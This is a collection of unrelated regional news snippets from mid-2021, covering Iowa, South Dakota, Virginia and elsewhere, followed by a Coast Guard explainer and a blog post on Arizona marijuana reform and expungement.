DeRudder volunteered to be the suspect in a bite demonstration in a large grassy area next to the police department. DeRudder put on a bite sleeve, a heavy-duty leather and jute slip-on sleeve with a handle inside for the officer to grip. Sparky was immediately triggered just seeing the sleeve and strained against his leash.
The identity of the man implicated by the two witnesses hasnt been revealed. But Judge Joel Yates granted a defense motion for one of them  an inmate at an Iowa prison  to testify at Bahena Rivera's sentencing hearing Thursday at the Poweshiek County Courthouse in Montezuma, which is in central Iowa about halfway between Des Moines and Iowa City.

Prosecutors remain confident in Bahena Riveras guilt and they plan to respond to the defense claims this week, according to state attorney generals office spokesman Lynn Hicks.

The prisoner who will testify Thursday says that when he was housed at a county jail, another inmate told him that Tibbetts had been kidnapped by associates and held at a trap house for sex trafficking, where she was bound and gagged, the defense motion says. He says that this other inmate said that he and another person killed Tibbetts after the publicity surrounding her disappearance got too big and that they dumped her body near a Hispanic male in order to make it appear that the Hispanic male committed the crime, the filing states.

The witness told prison officials and investigators that he thought the story was bluster until he heard Bahena Riveras testimony, the motion says.
The Iowa Department of Education announces the state is slated to receive $775 million in federal relief for K-12 schools. Davenport schools administrators get huge raises. School supplies needed to Pack the Bus. There is never enough funding for schools to provide everything students need. Whats wrong with this picture?
Then it moved to the basement and a newly built garage.

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Six months later, they bought a building. Then came more products and designs and 15-16 employees.

Coleman said the business has grown so much theyre now focusing on finding employees. He said their New Hampshire location was remote and rural, so theyve always struggled to find applicants. He said within a week of posting the job in Rapid City, they had six interviews scheduled.

Sewing is a dead skill, so were looking for team members who are willing to learn a new skill and to be that team member to grow with us, Coleman said.

Coleman said the company has 70 industrial sewing machines but only 16 employees.

He said the plan is to hire four to six people in July that will have key roles in expansion and likely be leaders. Then theyll work their way up to 20 people at the Rapid City location to keep growing.

Coleman said they focus on hiring veterans and military spouses, although everyone is welcome to apply whether they have sewing knowledge or not.
The Meade County Commission issued a burn ban for the county effective Tuesday until fire conditions improve.

The emergency resolution prohibits open burning and open fires throughout Meade County.

The resolution bans "any outdoor fire, including campfires, that is not contained within a fully enclosed fire box or structure from which the products of combustion are emitted directly to the open atmosphere without passing through a stack, duct or chimney."

The use of charcoal grills, liquid fuel grills and burn barrels are still allowed.

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Additionally, Meade County Commission Assistant Jerry Derr said campgrounds with the appropriate permitting can have fires and pyrotechnics.

"We're getting into a pattern now where the projected forecast is continued drought and dry, and there is a concern with the pattern the way it's been with the Rally coming up," Derr said. "This will not apply with the campgrounds. If they have their (permits)... not that you're going to stop everything, but there have been fires in the country just set by people out haying  a hot bearing or a spark in a field."
The Northdale Sanitary District is taking its first steps to reroute a sanitary sewer main that could be in danger of collapse due to a sinkhole.

The sinkhole opened in the Hideaway Hills neighborhood on April 27, 2020, exposing an abandoned gypsum mine and displacing more than 40 people from 15 homes.

The sewer force main is in danger of collapsing due to the sinkhole, although it isnt compromised quite yet. There are at least two lawsuits filed in relation to the sinkhole collapse.

During the July meeting, the Northdale Sanitary District board voted unanimously to bore 15 holes about 50-feet deep along the reroute path, which is parallel to Interstate 90 and along the back fence of Hideaway Hills Homes.

Project engineer Leah Berg said the testing is included in the plan submitted to the state board for the Department of Agriculture and Natural Resources $440,000 loan.
Midkiff said at least one bidder withdrew because of the multi-million dollar cost increase" it claimed would be needed to meet the enhanced security.

To ensure fairness and (to) find the most qualified bidder to build a secure, modern system," she added, rebidding is necessary.

The state will issue its revised request for bids as soon as possible, Midkiff said. The new round of bidding is not anticipated to cause a material delay in launching the new system, she said. The Lexington Herald-Leader first reported the state's rebidding decision.

In April, Kentucky temporarily shut down its unemployment system for a few days to bolster security protections. State officials said they suspected that individuals or criminal enterprises attempted to hack into the systems customer data.

Problems with the antiquated system have become a recurring political headache for Beshear.

Like other states, Kentucky was overwhelmed by record waves of claims for jobless assistance caused by the coronavirus. Tens of thousands of Kentuckians found themselves in limbo for months as they waited for their jobless claims to be processed. The state has paid out more than $6 billion in unemployment benefits to Kentuckians since March 2020, Beshear's administration said.
Alderson Farms is a feed lot operated by Brian Alderson, a fourth-generation farmer who graduated from University of South Dakota and came home to take over his families cow/calf operation. He began to think outside the box and transformed the small feed lot into a large pit confinement barn. We all want our fresh beef, but if you are like me, the smell of a feed yard precedes itself, especially when the wind is mixed with a little rain! I was pleasantly surprised that while visiting the Aldersons pit confinement feed barn, there was very little smell, no flies and the cows were so content that I didnt hear one peep out of them for the 90 minutes we were there. Did I mention that it was a windy, rainy day? As town and cities encroach on our rural farms, I believe we will need to take a serious look at this type of innovative thinking. Alderson Farms currently manages a 600-head above ground pit confinement operation that includes a center conveyor belt that automatically feeds the cattle each day, saving Mr. Alderson thousands of hands-on work hours per year.
There were a handful of programs we could choose from, but more of them had to do with family planning, which we dont have anymore, Webber said. We were limited on what we could choose.

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Karen Johnson was the director at the time who made the choice, but the Safe Sleep Program was embraced because it is a topic that matters to current staff.

To be honest, it is dear to my heart, as I did lose a sister, Webber said. She was born before me and was lost to SIDS at a couple of months old. I dont talk about it with my mom. The little conversation weve had is that she was fussy, a colicky baby, put to sleep on her tummy at nap time and when mom went to check on her, she was gone.

Webber and her younger brother had to wear a Holter monitor, a device used to detect heartbeats, she said.

RCPH Office and Vaccine Manager Lori Rodrick said her older brother died at nine months due to SIDS.

My parents were at a friends house, and mom laid him on the bed, Rodrick said, she said she laid him down, walked out, had an overwhelming feeling to go check and when she went back he was gone.

That incident was in the 1950s, when mothers were taught to put babies to sleep on their tummies, she said.
Today is Tuesday, July 13, 2021. Let's get caught up.

Here's what you should know today: President Biden will be in Philadelphia today to give a long-awaited speech on voting rights; president calls Cuba's "remarkable" protests a "call for freedom"; and the 2021 Emmy nominations will be announced today.

Keep scrolling for today's top stories, this date in history and celebrity birthdays.

TOP STORIES

In long-awaited speech, Biden to decry voting restrictions

WASHINGTON (AP)  President Joe Biden will lay out the moral case for voting rights as he faces growing pressure from civil rights activists and other Democrats to combat efforts by Republican-led state legislatures to restrict access to the ballot.

Biden has declared that protecting voting rights was the central cause of his presidency, but the White House has taken sharp criticism from allies for not doing more while contending with political headwinds and stubborn Senate math that have greatly restricted its ability to act.
In the agency's announcement, BLM Montana-Dakotas state director John Mehlhoff said the original timeline was beyond what is considered normal for public comments.

While 60 days already far exceeds any requirements for this type of (National Environmental Policy Act) activity, we recognize this proposal has generated greater public interest than similar grazing permit applications, Mehlhoff said. This public comment period is an important stage of the decision-making process, and we encourage those who choose to participate to submit substantive comments.

The new deadline for comments is Sept. 28.

The American Prairie Reserve supported the extended time period, although a spokesperson noted considerable comment has already been gathered and public meetings held.

"This has already been a comprehensive multi-year process which has included four in-person public meetings, over 2,000 public comments in support, and collaboration with our neighbors to modify and improve the original proposal, said Beth Saboe, senior public relations manager for APR. We support this comment extension to ensure everyone has had enough time to better understand how the proposal will benefit local wildlife, improve land and water quality, and create new local jobs, all without impacting the value of the ranching economy.
State Sen. Shane Morigeau, D-Missoula, announced his candidacy Wednesday for Montana State Senate District 48.

Morigeau is looking forward to serving his constituents for the first time as an elected, four-year state senator, he said in a news release.

He was appointed by the Missoula County commissioners last November to serve the remainder of the term of Democrat Nate McConnell, who resigned Nov. 5 citing the need to care for his children.

I think I showed last session that Im prepared to hit the ground running and get to work for my constituents, Morigeau said in the release. I've committed my career to fighting back against the rich and powerful to protect Montanans, and that work isnt even close to being done. We have way too many politicians in Helena that are out of touch from the day-to-day realities and hardships Montanans experience. Im eager to get back there and continue my advocacy.

If elected, Morigeau wants to continue the work hes done in his past several years in the Legislature, he said. Education, consumer protection, environmental issues and public land protection are just a few of the statewide issues he plans to target next legislative session.
Our job as elected officials, whether were on the School Board or  in the office of the mayor, is to contribute to the success of our students, Stoney said. I dont understand how delaying the construction of this massive project is contributing to the success of our students.

He added: Im begging for collaboration. The fact that I have to beg seems bizarre to me.

Community members on Tuesday agreed with Stoney, and pleaded with the board to work with the city to get George Wythe rebuilt by 2025, a year after an original 2024 deadline.

Because of all the politics and the fighting  the deadline has been pushed back to 2025, said Robin Mines, a 1976 graduate of Wythe and president of the Swansboro Civic Association. Were asking you to compromise while you develop your departments to build schools so George Wythe can be rebuilt without delay.

Other community members spoke to the schools poor conditions, citing rat and mice droppings in the school and respiratory issues they attributed to mold in the buildings. Asbestos tile sits in some of the classrooms at the 61-year-old building. If asbestos is disturbed,fibers can be released into the air and cause health problems, according to the Environmental Protection Agency.
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Like it or not, theres a certain ritualism involved in attaining a burger from Cobra. You line up at the famous burger hole, a curbside ordering window that doubles as a confessional. (Yes, I do want two burgers, fully loaded. And yes, theyre both for me.)

As you wait for your food, you stand at attention before a cobra-crested flag that could pass for the insignia of House Slytherin.

And you snap a mindless selfie, as many do, because the sandwich board out front commands you to take a photo of this sign for no real reason.

The restaurants sense of humor is irreverent, cuss-filled and, at times, downright stupid. Cobras social media, a barrage of jokes about weed smoking and OnlyFans accounts, reads as if it has been proofread by a toddler, with such deliberate misspellings as Corba (Cobra), borgor (burger) and chz (cheese). For my birthday, the kitchen went out of its way to scrawl Happy Birthday, A--hole on my order.

These guys have founded their whole enterprise on the principle of smashing stuff  taking fistfuls of beef and grinding them down, before backhanding them with the large open palm of a metal spatula and pressing them firmly against a searing hot flattop.
A Richmond nonprofit organization dedicated to promoting the health and well-being of Black members of the LGBTQ community, Us Giving Richmond Connections, is hosting the fourth annual Black Pride RVA Weekend from Friday through Sunday in the city.

According to UGRC co-founder and director, Lacette Cross, the organizations mission is to foster a sense of community within the Black LGBTQ community through power building and social engagement.

The weekend event is to help fill the gaps between a persons racial identity and sexual orientation.

So we, as UGRC and the weekend of Black Pride RVA fills that gap by saying, this is how we can be both, Cross said. And this is how we can foster the connections to our blackness and to our queerness that are healthy, that are vibrant, that are fun. All of those things, and that has power.

Cross said the event began in 2018 and is always held on the third weekend of July. They said the weekend is aimed at recognizing Black people within the LGTBQ community.

The LGBTQ community is diverse and Black LGBTQ people deserve a time to celebrate our voice, Cross said.
When the COVID-19 pandemic hit in early 2020, state officials temporarily closed courts and enacted protections intended to keep renters safely housed through the public health crisis. The Centers for Disease Control and Prevention moratorium, dating to last fall, presented another option for households to stave off eviction. It is currently scheduled to expire at the end of this month.

As of this month, RRHA staff has met with about 530 residents who responded to a public campaign targeting families behind on rent. Of those, the agency has helped about 190 apply for rent relief to settle pandemic-era balances totaling $315,600, according to figures officials shared with the committee Wednesday.

RRHA also has offered more than 800 households payment plans, but 80% of those households have fallen behind on those, officials said last month.

Stacey Daniels-Fayson, the housing authoritys interim CEO, said staff was trying to determine what portion of residents delinquent balances predated the public health crisis. She said staff suspected some tenants had chosen not to pay rent in spite of help that is available.
Lunches will resume as normal, and a la carte items will be available. Students will have assigned seating and eat from disposable trays, rather than reusable ones.

Buses will run once again at pre-pandemic capacities  there are roughly 11,000 transportation requests for the upcoming school year  though assigned seating will be enforced. Transportation for high school specialty programs will continue.

Outside groups, including churches, that wish to use school facilities will be able to do so once the school year begins, Hanover schools Superintendent Michael Gill said, once school plans are finalized and schoolwide cleaning has occurred.

We are not giving the green light yet, he said, though officials expect to do that shortly before the start of school. He said groups that are regular users of schools are being notified of access opportunities between now and September.

Jennifer Greif, the school systems assistant superintendent for instructional leadership, told the School Board that return-to-learn plans will continue to include mitigation strategies against COVID-19, including contact tracing, social distancing, masks and other safety protocols as required by any state mandates that are in place when school starts in September.
I guess it all depends on whose free speech is being gored.

In April, decorated journalist Nikole Hannah-Jones was appointed to a distinguished chair in the University of North Carolina at Chapel Hills school of journalism and media  a post that in the recent past had come with tenure. But Hannah-Jones role as the progenitor of The New York Times Magazines 1619 Project made her a target of the right wing, including conservatives on the schools Board of Trustees.

Her tenure twisted in the wind just long enough for Hannah-Jones to opt out of teaching at her alma mater in favor of Howard University.

I missed the lamentations from the right about Hannah-Jones being canceled for writing what should be incontrovertible: that this nation was built on a foundation of Black enslavement and resistance.

And now, a right-wing free speech group is defending the right of a campus club, Turning Point USA at Virginia Tech, to engage in group chats that the university characterized as homophobic, racist, ableist, and misognynistic.
She just had a knack for being able to get people involved  who would be willing to contribute to the cause, Miller said. She was well-respected. If Thelma called you, you were going to do whatever you could to help.

Watson had the ability to step back and see the world broadly in a way that helped her understand the path forward, said MacDonald, the gerontologist who still marvels that as a student in the gerontology program at VCU she was made welcome whenever she encountered Watson.

When you shared information with her, she was truly listening and truly taking it in, said MacDonald. It mattered what people said to her.

Growing old is not something a lot of people enjoy considering, so if theyre not there yet, they might not be aware of the work of people such as Watson.

People dont like to think about their own aging, so they kind of put this whole field off to the side, which is to all of our detriment, MacDonald said. Were all aging, and its a good thing. Theres a lot of growth and development and positive things that come with growing older. Thelma knew this, saw this and made it her mission to bring that out for people.

The work Thelma did will impact your life later  and thank goodness.
Rep. Donald McEachin, D-4th, congratulated Richmond Times-Dispatch columnist Michael Paul Williams on Tuesday for his Pulitzer Prize for commentary on race and racial inequities in Richmond.

McEachin delivered his remarks on the House floor and presented Williams with an official Congressional Record to celebrate his accomplishment.

Mr. Williams has been a trailblazer and barrier breaker here in Richmond. He has an impressive, nearly 40-year career and has used his talents to shine a light on Virginias sordid history with racism and the inequalities that still exist today, McEachin said. His commentary has helped shape narratives and understanding of racial disparities and compelled readers to more fully consider their impacts in the Commonwealth. I congratulate Michael for his incredible achievement and look forward to his continued work.

Williams said it was mind-blowing that he is now a part of the Congressional Record and that the recognition was an honor.

Its an honor I didnt expect. Its extremely gratifying, Williams said. Id like to express my appreciation to Congressman McEachin.
The first look at Virginias revenue performance in the fiscal year that just ended is eye-popping.

Despite a predictable dip in June because of shifted tax filing deadlines, Virginia finished the fiscal year on June 30 with almost $2.6 billion more in tax revenues than it had forecast in the state budget. Compared to the previous fiscal year, the state collected an additional $3.1 billion, growing by 14.5% instead of the 2.7% estimate in the budget.

We have effectively managed Virginias finances through the pandemic, and now we are seeing the results  record-breaking revenue gains, a recovery that has outpaced the nation, and recognition as the best place to do business, Gov. Ralph Northam said Wednesday, the day after CNBC named Virginia the top state for business for the second consecutive time.

Northam will work with the General Assembly in a special session that begins Aug. 2 to determine how to spend $4.3 billion in federal aid that Virginia has received under the American Rescue Plan Act. He will propose a new two-year state budget to the assembly on Dec. 16, the month before he leaves office.
This is a very different atmosphere than it was last year, Ramirez said in an interview.

Both Ramirez and Keeney portray Spanberger, a Henrico County native, as a liberal politician who is out of step with the district she won twice  first defeating Rep. Dave Brat in 2018  with a moderate message and a background as a former CIA officer.

This is a very different time, Ramirez said. She has a track record. This is a conservative district, and she doesnt reflect the values of the district.

Both say that Spanberger votes lockstep with President Joe Biden and House Speaker Nancy Pelosi, D-Calif., on a range of progressive priorities.

Ramirez acknowledges Biden as the president, but, when asked about the 2020 election, she said, I think across the country all of us think there was fraud in the election.

The 7th Congressional District includes parts of 10 counties, extending from the Richmond suburbs in Chesterfield and Henrico through the Piedmont to Culpeper County. However, its boundaries could change during political redistricting, which has been delayed because of the effect of the COVID-19 pandemic on the U.S. Census.
Fisher would spend more than 30 years in the attorney generals office, a magnet under Miller for future judges, influential lobbyists, mega-litigators and a future governor, Jerry Baliles.

Miller also hired the offices first Black lawyer: Billy Robinson, who later would become a legislator. Robinson, assigned to the criminal division, was stopped in rural Southside by a white sheriffs deputy who doubted Robinson was a state lawyer on official business. After that, said Tony Troy, Millers deputy and successor, Miller distributed badges to staff that identified them as his employees.

Miller put in place a template for the attorney generals office that remains largely intact nearly 45 years after he left it, believing that his record of modernization  and his moderate views  would lift him to the governorship and the U.S. Senate.

It was not to be.

In 1977, with Democrats beset by a center-left struggle, Miller lost the gubernatorial nomination to Henry Howell, the liberal firebrand. In 1978, Miller was narrowly defeated for Senate by Republican John Warner, fill-in candidate for the guy Miller had beat for attorney general, Dick Obenshain, who was killed in a plane crash. In 2013, Miller endorsed Obenshains son, Mark, for attorney general over the Democratic nominee.
The award provided an opportunity for Northam and General Assembly Democrats to claim vindication for increasing Virginias minimum wage and achieving other progressive legislative goals, despite warnings from Republican opponents that the economy would be put at risk and the states business reputation damaged.

COVID, racial justice

The COVID-19 pandemic and a push for racial justice reshaped the competition for the top business state honors. The cost of doing business carried the most weight of the 10 categories, but CNBC said it had placed a new focus on health care and inclusiveness.

The pandemic has changed the way we view health care, the network said last week as a preview of the new rankings, And the new, national focus on racial and social justice has led to unprecedented demands from corporations for inclusiveness in the locations where they choose to do business.

In Virginia, 11,450 people died of COVID-19 during a nearly 16-month state of emergency that Northam declared on March 12, 2020, and ended last month. But he did not, like governors in 25 states, end temporary federal unemployment benefits, despite pressure from businesses and political opponents who say the aid has hampered employers from hiring in a tight labor market.
"I think it will put us in a better place as an institution in the state of Virginia so that young men and women who want to come to VMI, who want to undertake the experience at VMI, can find their place," he said.

In the past year, VMI has removed the statue of Confederate Gen. Thomas Stonewall Jackson from campus. Jacksons name is in the process of being removed from campus buildings, and art is being re-contextualized. Wins said the iconography has received most of the pushback from the VMI community, particularly alumni.

A lot of our folks look at a lot of the iconography that exists on the campus today and they identify with that in the time and day they were there," Wins said. "We need to focus on the things that are fundamental to the VMI experience, and those that are of lesser importance to cadets today, we ought to think about how we can modify and adjust, and that doesnt necessarily mean taking everything down.

VMI's first chief diversity officer began this month. The college also hired a new inspector general and Title IX investigator to work on preventing sexual violence. VMI has begun to allow cadets to lock their dorm doors at night, something women said would make them feel safer.
Once in Minsk, Hamad said he and others were taken to a hotel where their passports were seized. Four days later, cars picked them up in groups of three.

The driver spoke Kurdish. He dropped us at dusk in the middle of the forest and pointed in the direction towards the European Union, Hamad said.

Another Iraqi, Haidar al-Garawg, said he paid $1,500 to reach Minsk and had hiked with others through a forest and even a swamp, "but we kept walking through the water.

"We faced wild animals and all other things. I thought we are going to die in that forest. But thanks to God! He saved us and made it possible for us to arrive here, al-Garawg said.

None of the 160 housed at the Verebiejai school has a passport. Some say they lost their documents on their trek, while others say they were confiscated in Belarus.

Lithuanian authorities are using the migrants' phones to identify them while overwhelmed regional courts process their asylum applications.

On Tuesday, Lithuania's parliament passed legislation to speed up deportations of those crossing the border illegally. Critics say this might violate their human rights, but the government and lawmakers dismiss that.
Both men seemed comfortable with Haitis rising business class  often called the mafia by Haitians. This mafia is on good terms with the international community. This mafia speaks perfect English. They have nice houses and invite diplomats to dinner. They have servants and armored cars and working generators so that they dont have to suffer when the blackouts come. They can talk a very good game.

But did Martelly and Moise run the country properly? No.

Both men were found by a Haitian appeals court report to have participated in siphoning funds from a $2 billion petroleum discount account set up by Venezuela to benefit Haitian social programs.

And thats only one of the many corrupt schemes they and their close associates have been accused of, to say nothing of undermining Haitis institutions, including the Legislature, the municipal bureaucracies and the courts, and allowing gangs to take control of Haitis streets and kidnap, rob and kill innocent civilians.

Whats most disturbing is that the support the OAS, the U.S. and U.N. have given Martelly and Moise seems to have blinded them to other actors on the Haitian scene.
It is no longer feasible to operate all state beds in a safe and therapeutic environment, she said.

Facilities will reduce their patient loads by attrition, until they reach a level that can be supported by existing staff.

The state law was supposed to ensure a bed of last resort policy for any mentally ill Virginian in extremis: If residential care couldnt be found elsewhere, such as in private hospitals, the state would step in to provide it.

The current admissions policy leaves three hospitals to handle a level of admissions that, as already proved, even eight hospitals cant absorb. But if state hospitals cant take on the rising number of patients, who will?

Land had said the state needed all available private beds to meet the current need. State officials long have complained that private hospitals have drastically reduced their emergency admissions since enactment of the law requiring state hospitals to accept such patients as needed.

Now, in a flip of the laws original intention, a private hospital system has been proposed as backup for the state hospitals, according to the Virginia Hospital and Healthcare Association  if it is paid $8.5 million for more staff.
Robertson and Fracker were charged after a photograph showed them standing next to a statue of John Stark  a New Hampshire native who served as a general in the American Revolution  while Fracker made an obscene gesture.

Both men were fired from the police department a short time later.

Since then, two more men from Western Virginia have joined a growing list nationwide of people charged with storming the Capitol as Congress met to certify an election won by now-President Joe Biden. A short time earlier, Trump had urged his supporters to fight like hell against an election that he said was rigged against him.

In a motion filed June 30 to have Robertson jailed, prosecutors said a search of his Ferrum home the day before revealed a M4 rifle on a bedroom dresser and a partially assembled pipe bomb in the garage. Federal agents also found that Robertson had ordered 37 more guns online, although they had not been delivered to his home.

Equally troubling, Aloi said, were comments allegedly made by Robertson in an online gun forum on June 10.

I have learned very well that if you dip your toe into the Rubicon  cross it, Johnson wrote, according to court records. Cross it hard and violent and play for all the marbles.
The police vehicle, a 2019 Dodge Charger, had its emergency equipment activated when it was hit, state police said.

Rehak said Wednesday that Stilley was in the Charger but declined to say more about the officers actions, or about what started the chase.

Tuck said that ethical concerns kept him from discussing any facet of the cases evidence.

State police said that the crash happened a few minutes after 10 p.m. at the intersection of U.S. 460 and Third Street.

Acord, who was wearing a helmet, was thrown from the motorcycle and died at the scene, state police said last year.

Tuck said that Stilley is married, has children and loves the community he found in Giles County. Stilley appreciates the expressions of support that he has received since the case began, Tuck said.

Tuck said that Stilley has voiced sympathy for Acords family.

Before his police work, Stilley was a private security officer at schools in Georgia and worked as a contractor in the Middle East, Tuck said.

Like the attorneys, Ratcliffe said he could not discuss details of the crash or the chase that led up to it, but he said he was puzzled why Stilley was charged so long afterward.
Today is Wednesday, July 14, 2021. Let's get caught up.

Here's what you should know today: Senate Democrats reached a deal on a $3.5 trillion budget that largely backs President Biden's top priorities; Pope Francis is back at work after 10-day hospitalization; and it was the Shohei Otahni show at MLB's All-Star game.

Keep scrolling for today's top stories, this date in history and celebrity birthdays.

TOP STORIES

Senate Democrats' $3.5T budget deal backs up Biden's goals

WASHINGTON (AP)  Senate Democrats say they have reached a budget agreement envisioning spending an enormous $3.5 trillion over the coming decade, paving the way for their drive to pour federal resources into climate change, health care and family service programs sought by President Joe Biden.

The accord announced Tuesday night marks a major step in the partys push to meet Bidens goal of bolstering an economy that was ravaged by the coronavirus pandemic and setting it on course for long-term growth  and includes a Medicare expansion of vision, hearing and dental benefits for older Americans, a goal of progressives.
The completion of the Forest Middle School expansion and renovation is one project Hill said he was proud to be part of.

Hill said the divisions focus on technology and the forward thinking of administrators allowed the division to continue teaching students virtually and offer families that option if they did not feel comfortable returning to school in-person.

During conversations regarding reopening guidelines amid the COVID-19 pandemic, Hill advocated strongly for the division to allow parents and athletes the opportunity to choose to participate in winter sports. If reelected for a second term, Hill said he wants to continue advocating for options and choice for families in the division.

Hill also said addressing learning loss in the division should be a main priority, and hopes to see the division continue to use technology as a tool in the classroom to promote personalized learning. Hill said he wants to ensure that students who have fallen behind get the help they need while students who are on track or ahead get the supports they need to keep growing.

We had people in school, we had people online, Hill said. People were affected. People like to be social, they like to be with their friends, they like structure and a lot of that was out of place last year.
The rise in hate crimes against Asian-Americans can be attributed to their longtime support for a merit-based educational system, especially in terms of admissions. For example, the Chinese American Citizens Alliance Greater New York finds CRT a hateful fraud: Black Lives Matter rioters with CRT signs assaulted our rally supporting merit-based education. Tellingly, a Republican amendment in the Senate to withhold federal funding from colleges that discriminate against Asian-American applicants failed, mostly along party lines.

Our religions teach that we should focus on our deeper similarities, not our superficial differences. Martin Luther King Jr. said it most memorably: I have a dream that my four little children will one day live in a nation where they will not be judged by the color of their skin but by the content of their character.

To defeat the destructiveness of collectivist thinking and racial categorization that blames, divides and demotivates, we must focus on the individual. This is why our Founding documents  the Declaration and Constitution  are so important, and why Neo-Marxists want to delegitimize and erase our history. We are a country unique in the world because our government prioritizes the individual, not a favored group. This provides each citizen the opportunity to use their talents as far as their ambitions will take them.

What to do: attend board of education meetings to voice opposition to critical race theory; appoint board members opposed to it; inspect textbooks and any course materials prepared and distributed by teachers for the theory; ask children what they are being taught in the classroom; promote adoption of local ordinances banning CRT from schools; replace disparaging, distorting (Howard Zinn) with balanced, accurate (Wilfred McClay) American histories; recognize that the National Education Association and many universities support CRT; join national organizations devoted to opposing critical race theory.

Skaff is a retired director of policy analysis for a policy organization in Washington, D.C. He lives in Roanoke County.
The argument for bonds is that roads are a generational investment so its fair to spread that cost over generations. Few people could afford to buy a house if they had to pay for it all in cash.

The gas tax may have made sense in the 1920s, but it makes less sense with each passing day: Decades ago Virginia had to start dipping into other revenue streams to pay for roads and will have to do so even more in the future. Electric cars use no gas, so those drivers pay no gas tax for the roads they drive on.

More broadly, Byrd favored the state paying for roads over schools, which he saw as a local responsibility. Thats the philosophical basis of the disparity we see today between schools in the states most affluent communities and the schools is not-so-affluent places.

Heres the ultimate historical irony: Today Northern Virginia is a stronghold of liberal Democrats, who voted to take down Byrds statue but still benefit from his fiscal policies: They get lots of fancy roads while rural Virginia has schools held together by duct tape.
These creative dinner nights help fulfill a very important part of our mission statement: feeding the mind, body and spirit of our senior community.
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CALmatters is a public interest journalism venture committed to explaining how California's state Capitol works and why it matters. Dan Walters has been a journalist for nearly 60 years, spending all but a few of those years working for California newspapers.
" " Recruits from boot camp company Papa-200 graduate at the U.S. Coast Guard Training Center Cape May, New Jersey, June 11, 2021 Seaman Christian Lower/U.S. Coast Guard

All U.S. residents between the ages of 17 and 31 with high school diplomas are eligible to enlist in the Coast Guard, providing they pass certain physical exams, as well as the Armed Services Vocational Aptitude Battery (ASVAB) evaluation test. All recruits go through eight weeks of training at the Coast Guard Training Center in Cape May, New Jersey. While recruits will be taught how to swim, people who are afraid of being in or on the water should probably consider a different branch of service.

The U.S. Coast Guard Academy is located in New London, Connecticut. Anyone who wants to join the Coast Guard as a commissioned officer (and meets the eligibility requirements) can apply to attend the Coast Guard Academy. Unlike other U.S. military academies, a congressional petition is not required for entry. The academy provides a rigorous four-year academic experience that also prepares cadets for life as an officer in the Coast Guard. Graduates are commissioned as ensigns. Enlisted sailors and airmen can attend Coast Guard officer candidate school if they want to become commissioned officers.

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Another option for joining the Coast Guard is the Coast Guard Reserves. The reserves train and serve two days a month and two weeks each year. The 7,000 reserves don't form separate reserve units  they are integrated into full-time Coast Guard operations. Many non-law enforcement jobs are handled by the Coast Guard Auxiliary, a volunteer organization with about 26,000 members. People who join their local auxiliary are specially trained in boating safety, search and rescue, and other maritime skills. The auxiliary helps with search and rescue, teaches civilian boaters in special seminars, conducts safety inspections and provides introductory youth classes in boating and maritime safety.

After basic training, graduates are promoted to seaman or fireman (E-2). The Coast Guard uses an apprentice system, where recruits work alongside a more experienced seaman and learn their job with hands-on experience. For more technical aviation specific jobs, recruits are sent to technical schools, such as the USCG Aviation Technical Training Center in Elizabeth City, North Carolina, which is a training program into the "A" school curriculum ("A-Schools").

Coast Guard cutters usually make lengthy patrols, during which they don't return to their home station unless they need to. These patrols typically last for four weeks but can be as short as a few days or as long as a few months. An example of a cutter patrol is the one taken by the USCGC Mohawk (WMEC-913) in May 2020. The crew, with a deployed Coast Guard Helicopter Interdiction Tactical Squadron crew, apprehended more than 25 suspected drug smugglers, four suspected drug vessels and seized more than 4,500 pounds of cocaine and 1,500 gallons of liquefied cocaine before returning to their home base in Key West following a 65-day counter-drug patrol throughout the Eastern Pacific Ocean and Caribbean Sea.

Life on a cutter is not easy. Space is cramped and you spend a lot of time in very close proximity to your crewmates. However, crews form close bonds and learn to work together smoothly and efficiently. The person with the most responsibility onboard is the captain. Each captain has absolute authority on his or her ship. The personality and habits of a captain can have a tremendous effect on the character of the ship and the way a crew conducts itself. For most mariners, achieving a captaincy is a very high honor.

Between patrols, the crew takes care of ship maintenance or may take on shore duties. Some of them will take advantage of leave time (they get 30 days of leave each year). This pattern will continue for an enlisted sailor until his term of active duty has ended. Active duty lasts two or more years, depending on the contract the sailor signed at the time of enlistment. Once active duty is over, the sailor still must provide several additional years of service, either as a reserve or a ready-reserve who can be called to active duty at any time. Recently, members who are assigned to major cutters were eligible for up to 15 days of resiliency absence.

As members of a U.S. military organization, all Coast Guard sailors are subject to the Uniform Code of Military Justice. Dismissal from the Coast Guard can take a variety of forms, from an honorable discharge to a court-martial, depending on the circumstances.

Coast Guard veterans and retirees are eligible for a host of benefits, including health and life insurance, low-interest loans for mortgages or small businesses and veterans' health care. The full suite of benefits available may depend on the nature of the veteran's dismissal  usually an honorable discharge or retirement is necessary for access to all benefits. A comprehensive guide to Coast Guard veterans' benefits can be found at Coast Guard Insider.

In the next section, we'll explore the history of the Coast Guard.
 "The Intersectionality of Age and Gender on the Bench: Are Younger Female Judges Harsher with Serious Crimes?" | Main | "Drug Policy Implications: Elections 2020" 

November 10, 2020

Noticing marijuana reform as criminal justice reform in Arizona after passage of Prop 207

Regular readers, particularly those who also keep up with my work over at Marijuana Law, Policy & Reform, know that I strongly believe that marijuana reform can and should always be a form of criminal justice reform. This local article, headlined "Prop 207 could have huge impact on criminal justice reform in Arizona," details part of this story in one state one week after its big reform vote:

We are learning more about how Proposition 207 will impact our criminal justice system. The proposition legalizes recreational marijuana in Arizona and will become official when election results are certified in about a month. Steven Scharboneau, Jr. is an attorney with the Rosenstein Law Group. Arizona is one of the only states where a drug conviction for marijuana is a felony conviction, so it has life-lasting implications," Scharboneau said.... Adam Trenk is a Rose Law Group partner and director of the firms cannabis law department. I think its really a big deal and a really big step for our state," Trenk said. Trenk said Prop 207 is really the first of its kind. Historically we would, we being the states court systems, would seal records, but they wouldnt necessarily expunge records," Trenk said. Starting July 12, 2021, people previously convicted of select marijuana offenses can petition to have their records expunged. Essentially, this will give people a clean slate, which is what Scharboneau said his work is all about. If we really work hard to make the laws more fair so people can actually have a fair chance at that second chance," Scharboneau said.... Rebecca Fealk, the Legislative Policy Coordinator there, said the group is working to get the word out about this measure and the impact it will have on criminal justice reform. If somebody had a marijuana conviction, they were often denied food stamps, they were denied Pell Grants to be able go to college and do these things that allowed them to be part of our community," she said. And so by having the opportunity to remove those, we are allowing people to be more successful and remove the harm the criminal justice system has done."

I believe that the Montana marijuana legalization ballot initiative also included some remedial criminal justice provisions, but that such reforms will require follow-up legislative action in other states. Still, I sense there is continuing and growing momentum in marijuana reform quarters to ensure any and all reforms come with remedial provisions. When I wrote an article on this topic a few years ago, "Leveraging Marijuana Reform to Enhance Expungement Practices," I was eager to see these intersecting issues get more attention, and I am now quite happy that they are.

